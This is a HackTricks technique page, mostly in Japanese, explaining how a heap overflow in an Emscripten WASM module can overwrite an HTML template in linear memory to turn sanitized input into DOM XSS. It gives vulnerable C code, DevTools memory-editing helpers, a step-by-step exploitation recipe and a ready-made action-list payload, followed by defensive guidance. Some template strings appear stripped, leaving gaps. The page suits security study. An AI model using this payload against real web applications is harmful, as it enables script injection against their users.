%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このテクニックは、Emscripten でコンパイルされた WebAssembly (WASM) モジュール内部のメモリ破損バグを、入力がサニタイズされている場合でも信頼性のある DOM XSS に悪用する方法を示す。ピボットはサニタイズされたソース文字列を攻撃するのではなく、WASM linear memory 内の書き込み可能な定数(例:HTML フォーマットテンプレート)を破損させることにある。
主要なアイデア:WebAssembly モデルでは、コードは書き込み不可の実行ページに置かれるが、モジュールのデータ(heap/stack/globals/"constants")はモジュールによって書き込み可能な単一のフラットな linear memory(64KB ページ)に存在する。もしバグのある C/C++ コードが範囲外に書き込めば、隣接するオブジェクトや linear memory に埋め込まれた定数文字列さえ上書きできる。こうした定数が後で DOM sink を通じて挿入するための HTML を構築する際に使われると、サニタイズされた入力を実行可能な JavaScript に変えることができる。
脅威モデルと前提条件
- Web アプリが Emscripten glue (Module.cwrap) を使って WASM モジュールを呼び出している。
- アプリケーション状態が WASM linear memory に存在する(例:ユーザバッファへのポインタ/長さを持つ C struct)。
- 入力の sanitizer が格納前にメタ文字をエンコードするが、後でレンダリング時に WASM linear memory に格納されたフォーマット文字列を使って HTML を構築する。
- linear-memory corruption のプリミティブが存在する(例:heap overflow、UAF、または unchecked memcpy)。
最小の脆弱データモデル(例)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
脆弱なロジックパターン
- addMsg(): サニタイズ済みの入力サイズで新しいバッファを割り当て、s.mess に msg を追加する。必要に応じて realloc で容量を2倍にする。
- editMsg(): 再度サニタイズを行い、新しいバイト列を既存バッファに memcpy するが、新しい長さが古い割り当て以下であることを保証しない → linear memory 内のヒープオーバーフロー。
- populateMsgHTML(): サニタイズ済みテキストを linear memory 上にある "
" のようなテンプレートで整形する。返された HTML は DOM sink(例: innerHTML)に渡される。
realloc() を使ったアロケータのグルーミング
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- 初期容量を超えるまで十分な数のメッセージを送る。容量が拡張された後、realloc() はしばしば s->mess を linear memory の最後のユーザバッファの直後に配置する。
- editMsg() を使って最後のメッセージをオーバーフローさせ、s->mess 内のフィールドを破壊する(例: overwrite msg_data pointers) → 後でレンダリングされるデータに対する linear memory 内の任意のポインタ書き換え。
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization は入力を保護するものであって sinks を保護するものではない。populateMsgHTML() で使われる format stub を見つける、例:
- "
" → change to "%.*s
"
- linear memory を走査して stub を決定論的に特定する; それは Module.HEAPU8 内のプレーンなバイト列である。
- stub を上書きした後、sanitized message content は onerror の JavaScript ハンドラとなるため、alert(1337) のようなテキストを持つ新しいメッセージを追加すると
となり DOM 内で即座に実行される。
Chrome DevTools workflow (Emscripten glue)
- JS glue 内の最初の Module.cwrap 呼び出しでブレークし、wasm の呼び出し元にステップインしてポインタ引数(linear memory への数値オフセット)をキャプチャする。
- Module.HEAPU8 のような typed views を使ってコンソールから WASM メモリを読み書きする。
- Helper snippets:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
End-to-end exploitation recipe
- Groom: N 個の小さなメッセージを追加して realloc() をトリガーします。s->mess が user buffer に隣接するようにします。
- Overflow: 最後のメッセージに対して editMsg() を呼び、長いペイロードで s->mess 内のエントリを上書きして、message 0 の msg_data を (stub_addr + 1) を指すように設定します。+1 は次の編集時にタグのアラインメントを保つために先頭の '<' をスキップします。
- Template rewrite: message 0 を編集して、そのバイトがテンプレートを次のように上書きするようにします: "img src=1 onerror=%.*s ".
- Trigger XSS: sanitized な内容が JavaScript になるような新しいメッセージを追加します(例: alert(1337))。レンダリングは
を出力して実行されます。
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Why this bypass works
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.
Generalization and other attack surface
- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.
Defensive guidance
- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
- Keep immutable templates out-of writable linear memory or integrity-check them before use.
- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
- Avoid trusting URL-embedded state for privileged flows.
References
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks